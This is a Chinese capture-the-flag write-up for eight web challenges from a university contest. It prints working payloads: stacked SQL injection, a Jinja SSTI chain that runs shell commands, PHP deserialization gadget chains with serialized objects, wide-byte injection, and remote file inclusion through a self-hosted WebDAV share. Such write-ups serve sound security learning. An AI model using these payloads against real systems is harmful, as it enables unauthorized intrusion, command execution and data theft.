西电的比赛,校内赛。我偷偷混进去了(比赛一周,先放了三个web,先写些WP吧)
Contents
Web 1 -id_wife
是一个注入题,测试以后发现过滤了select
报错注入可以得到数据库名:MINIL,但是过滤了select,之后的查询就不能进行了、
测试了半天后发现是堆叠注入。和随便注一样,就payload一把梭了
id=w1nd’);handler `1145141919810` open as yun;handler yun read first;#
或者:
id=w1nd’) ;SET @sql=concat(char(115,101,108,101,99,116),” * from `1145141919810`”);PREPARE sqla from @sql;EXECUTE sqla;#
Web 2 -Personal_IP_Query
打开靶机发现会回显IP,直接改xff头发现会有回显,这里肯定是利用点了
一开始尝试sql注入,过滤了’ ” 而且使用 \ 后没有任何回显,判断不是sql注入
然后尝试ssti。发现过滤了下划线,那不用就好了
{{[][request.args.c][request.args.b][0][request.args.s]()[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}}
get:c=__class__&b=__bases__&s=__subclasses__&i=__init__&g=__globals__&bt=__builtins__&d=__import__(‘os’).popen(‘cat /flag’).read()
Web 3 -P
本题之前的环境有问题,导致wakeup绕不过去
后来出题人修了
首先改cookie读class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | <?php class gitee { function upload() { echo '你用上了Git,可是,代价是什么呢(悲)'; } function __construct($f) { $this->file = $f; } } class github { public $cmd = ''; function upload() { if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd)) //p die("cerror"); $blacklist = "~!@#%^&*()()-_{}[]'\":,"; foreach(str_split($blacklist) as $char) { echo $char; if(strchr($this->cmd, $char) !== false) die('serror'); } eval($this->cmd); } public function __wakeup() { if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') { // proxy_set_header X-Real-IP $remote_addr; die('across the great ... nope'); } } } |
反序列化了,可以发现github类和CTFSHOW的红包题二基本一致,只不过本题经过了 反序列化
赋值$a->cmd=‘?><?=`. /??p/p?p??????`;?>’;
O:6:”github”:3:{s:3:”cmd”;s:26:”?><?=`. /??p/p?p??????`;?>”;s:4:”file”;s:9:”index.php”;}
经过base64后赋值给cookie
之后的操作就一样了
Web 4 ezbypass
首先是一个登录框,fuzz了一会儿发现过滤了一吨东西,结果非预期绕过去了
“||1 limit 1 offset 3#
预期解是无列名和innodb,用sys库
返回了一个地址
此题也可以不注入直接发现这个页面。使用.DS_Store工具发现该目录直接访问
然后是一个bypass。
反序列化字符逃逸
xdsecflagflagflagflagflagflagflagflag”;s:3:”V0n”;s:14:”has_girlfriend”;}
即可
Web 5 Let’s_Play_Dolls
一个反序列化给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | <?php class foo1{ public $var=''; function __construct(){ $this->var='phpinfo();'; } function execute(){ if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) { if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){ eval($this->var); } else{ die("hacked!"); } } } function __wakeup(){ $this->var="phpinfo();"; } function __desctuct(){ echo 'desctuct foo1'; } } class foo2{ public $var; public $obj; function __construct(){ $this->var='hi'; $this->obj=null; } function __toString(){ $this->obj->execute(); return $this->var; } function __desctuct(){ echo 'desctuct foo2'; } } class foo3{ public $var; function __construct(){ $this->var="index.php"; } function __destruct(){ if(file_exists($this->var)){ echo "".$this->var."exist"; } echo "desctuct foo3"; } function execute(){ print("hi"); } } |
链子还行,通过赋值给foo1类下的var变量可以执行eval函数。看过滤的函数应该知道是个无参数rce了(套娃)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <?php class foo1 { public $var ; } class foo3{ public $var; } class foo2 { public $var; public $obj; } $f3 = new foo3(); $f2 = new foo2(); $f1 = new foo1(); #f1->var="print_r(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));"#读根目录 #$f1->var="var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));"; #读当前目录 #$f1->var="print_r(scandir(current(localeconv())));"; #show_source(end(scandir(pos(localeconv())))); #highlight_file(end(scandir(getcwd()))); $f1->var="show_source(end(scandir(getcwd())));"; $f3->var = $f2; $f2->obj = $f1; echo serialize($f3); |
输出的序列化值绕过一下wakeup即可赋值给var了,(之前绕不过wakeup,难顶)
有很多种方法读flag。贴出来一部分
无参数RCE和GXYCTF的一道题很像
https://www.gem-love.com/ctf/530.html
这里可以看到
Web 6 are you reclu3e?
打开靶机发现是一个登录框,用户名是reclu3e。密码不知道,不是sql注入。弱密码也出不来。可能社工题吧?
提示了vim,直接一把恢复
看到编码是GBK 就宽字节注入了
username=%df%27 union select 1,1#&password=1 直接登录
这里为什么:%df%27group by password with rollup having password is NULL %23
使用如上语句登录不上去。阅读php代码可知,如果$row 为空,会直接无法登陆,而$row的值为password,所以不能使用这种方法登录
然后进行反序列化
可以很明显的发现serialize会执行eval。直接赋值,将private改成public flag在phpinfo
一开始一直没加 ; 导致一直执行不出来,充满问号,我们需要先把eval函数的$s=””中的双引号闭合,然后执行我们需要的语句,由于题目最后加了分号,我们需要闭合整体语句让我们的语句执行正确
星际玩家星际玩家
Web 7 include
windows下的文件包含
可以用伪协议读一下f1na1.php的源码
1 2 3 4 5 6 7 8 9 | <?php error_reporting(0); if(!$_GET[file]){echo' See hint.';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")||strstr($file,"php")){ echo "Hacker!"; exit(); } include($file); |
包含了半天敏感文件也找不到flag
后出题人告诉要rce,并且靶机可以访问外网。SMB因为国内把445端口都封了,导致运行不了。所以使用webdav
https://www.anquanke.com/post/id/201060#h3-9
自己搭了半天 没成功
vps docker一把梭
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 –rm –name webdav bytemark/webdav&
通过写php代码进行写shell发现会被windows defender拦截,尝试了很多次都无果。那就直接扫目录了,
之前eval(‘system(“whoami”);’); 不能用,今天早上试了一下发现打通了。。不知道是不是非预期
直接eval(‘system(“dir”);’);发现一个文本文档。type读一下
读到就是flag
Web 8 签到题
靶机只给了<?system($_GET[‘a’])?>
用户是www-data。有/readflag但是读不到。
内网里可以看到别人做的题。其他没有有用的信息,端口扫描没扫出东西
传入yes yes |/readflag是一个计算题。每次交互的时候会变。所以只能固定一个数爆破下
跑一会儿就出了
are you reclu3e的反序列化直接改public是因为和网鼎的原因一样吗
不好意思刚才看到 原理是一样的